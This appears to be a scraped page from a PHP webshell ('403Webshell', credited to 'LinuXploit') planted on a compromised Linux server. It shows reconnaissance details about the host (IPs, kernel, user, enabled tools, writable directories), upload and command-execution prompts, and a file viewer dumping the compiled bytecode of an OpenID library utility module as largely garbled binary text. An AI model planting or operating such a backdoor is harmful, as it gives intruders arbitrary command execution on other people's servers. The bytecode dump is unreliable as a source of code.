403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/openid/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/openid/__pycache__/oidutil.cpython-311.pyc
�

�h�^����dZgd�ZddlZddlZddlmZeje��ZddgZ	gd�Z
d�Zdd
�Zdd�Z
dd�Zdd
�Zd�Zd�Zd�ZGd�de��ZdS)zOThis module contains general utility code that is used throughout
the library.
)�log�
appendArgs�toBase64�
fromBase64�autoSubmitHTML�	toUnicode�N)�	urlencodezdefusedxml.cElementTreezdefusedxml.ElementTree)zxml.etree.cElementTreezxml.etree.ElementTree�cElementTreezelementtree.ElementTreec�t�t|t��r|�d��St|��S)z�Returns the given argument as a unicode object.

    @param value: A UTF-8 encoded string or a unicode (coercable) object
    @type message: str or unicode

    @returns: Unicode object representing the input value.
    �utf-8)�
isinstance�bytes�decode�str)�values �0/usr/lib/python3/dist-packages/openid/oidutil.pyrrs4���%����%��|�|�G�$�$�$��u�:�:���OpenID transaction in progressc��t|t��rt|d���}t|t��rt|d���}d|�d|�d�}|S)Nr��encodingz
<html>
<head>
  <title>z=</title>
</head>
<body onload="document.forms[0].submit();">
z�
<script>
var elements = document.forms[0].elements;
for (var i = 0; i < elements.length; i++) {
  elements[i].style.display = "none";
}
</script>
</body>
</html>
)r
rr)�form�title�htmls   rrr,sh���$����+��4�'�*�*�*���%����-��E�G�,�,�,��� 
�u�u�d�d�d��D� �Krc�t�|�t}	t|��S#t$rtd|�����wxYw)ajFind a working ElementTree implementation that is not vulnerable
    to XXE, using `defusedxml`.

    >>> XXESafeElementTree = importSafeElementTree()

    @param module_names: The names of modules to try to use as
        a safe ElementTree. Defaults to C{L{xxe_safe_elementtree_modules}}

    @returns: An ElementTree module that is not vulnerable to XXE.
    NzSUnable to find a ElementTree module that is not vulnerable to XXE. Tried importing )�xxe_safe_elementtree_modules�importElementTree�ImportError)�module_namess r�importSafeElementTreer Dsd����3��C� ��.�.�.���C�C�C��k�2>�,�B�C�C�	C�C���s��7c�2�|�t}|D]z}	t|dddg��}	|�d��|cS#ttt
f$r�t�d|z��Y�hxYw#t$rY�wwxYwtd|�����)a:Find a working ElementTree implementation, trying the standard
    places that such a thing might show up.

    >>> ElementTree = importElementTree()

    @param module_names: The names of modules to try to use as
        ElementTree. Defaults to C{L{elementtree_modules}}

    @returns: An ElementTree module
    N�unusedz	<unused/>zRNot using ElementTree library %r because it failed to parse a trivial document: %szKNo ElementTree library found. You may need to install one. Tried importing )	�elementtree_modules�
__import__�XML�
SystemExit�MemoryError�AssertionError�logger�	exceptionr)r�mod_name�ElementTrees   rrrYs�����*�� �C�C��	#�$�X�t�T�H�:�F�F�K�
	
#�����,�,�,�#�"�"�"����^�<�
�
�
��
?�� � �3�5=�>�?�?�?�?�?������	�	�	��D�	�����k�2>�,�B�C�C�	Cs�A7�<�6A4�7
B�Bc�<�t�d|��dS)aHandle a log message from the OpenID library.

    This is a legacy function which redirects to logger.error.
    The logging module should be used instead of this

    @param message: A string containing a debugging message from the
        OpenID library
    @type message: str

    @param level: The severity of the log message. This parameter is
        currently unused, but in the future, the library may indicate
        more important information with a higher level value.
    @type level: int or None

    @returns: Nothing.
    zHThis is a legacy log message, please use the logging module. Message: %sN)r)�error)�message�levels  rrr~s,��$�L�L�0�18�:�:�:�:�:rc���t|d��r"t|�����}nt|��}t	|t
��st|d���}|s|Sd|vrd}nd}d}|D]e\}}t	|t��s|�d��}t	|t��s|�d��}||f||<|dz
}�f|�|�t|����S)a�Append query arguments to a HTTP(s) URL. If the URL already has
    query arguemtns, these arguments will be added, and the existing
    arguments will be preserved. Duplicate arguments will not be
    detected or collapsed (both will appear in the output).

    @param url: The url to which the arguments will be appended
    @type url: str

    @param args: The query arguments to add to the URL. If a
        dictionary is passed, the items will be sorted before
        appending them to the URL. If a sequence of pairs is passed,
        the order of the sequence will be preserved.
    @type args: A dictionary from string to string, or a sequence of
        pairs of strings.

    @returns: The URL with the parameters added
    @rtype: str
    �itemsrr�?�&r�)	�hasattr�sortedr2�listr
rr�encoder	)�url�args�sep�i�k�vs      rrr�s��&�t�W�����d�j�j�l�l�#�#����D�z�z���c�3���)��#��(�(�(�����
�
�c�z�z������	
�A������1��!�U�#�#�	"�����!�!�A��!�U�#�#�	"�����!�!�A��a�&��Q��	�Q�����s�C�C��4����1�1rc��t|t��r|�d��}tj|��dd�S)z7Represent string / bytes s as base64, omitting newlinesrN���)r
rr9�binascii�
b2a_base64)�ss rrr�s?���!�S����
�H�H�W������q�!�!�#�2�#�&�&rc���t|t��r|�d��}	tj|��S#tj$r!}t
t|�����d}~wwxYw)Nr)r
rr9rB�
a2b_base64�Error�
ValueError)rD�whys  rrr�sp���!�S����
�H�H�W����#��"�1�%�%�%���>�#�#�#���S���"�"�"�����#���s�A�A0�A+�+A0c�0�eZdZdZd�Zd�Zd�Zd�Zd�ZdS)�Symbolz�This class implements an object that compares equal to others
    of the same type that have the same name. These are distict from
    str or unicode objects.
    c��||_dS�N��name)�selfrOs  r�__init__zSymbol.__init__�s
����	�	�	rc�^�t|��t|��uo|j|jkSrM)�typerO�rP�others  r�__eq__z
Symbol.__eq__�s'���D�z�z�T�%�[�[�(�D�T�Y�%�*�-D�Drc��||kSrM�rTs  r�__ne__z
Symbol.__ne__�s���E�M�"�"rc�8�t|j|jf��SrM)�hash�	__class__rO�rPs r�__hash__zSymbol.__hash__�s���T�^�T�Y�/�0�0�0rc��d|j�d�S)Nz<Symbol �>rNr]s r�__repr__zSymbol.__repr__�s��� $�	�	�	�,�,rN)	�__name__�
__module__�__qualname__�__doc__rQrVrYr^rarXrrrKrK�sl��������
���E�E�E�#�#�#�1�1�1�-�-�-�-�-rrK)rrM)r)re�__all__rB�logging�urllib.parser	�	getLoggerrbr)rr#rrr rrrrr�objectrKrXrr�<module>rksF��������
��������#�"�"�"�"�"�	��	�8�	$�	$���� ��
����
�
�
�����0C�C�C�C�*"C�"C�"C�"C�J:�:�:�:�,02�02�02�f'�'�'�#�#�#�-�-�-�-�-�V�-�-�-�-�-r

Youez - 2016 - github.com/yon3zu
LinuXploit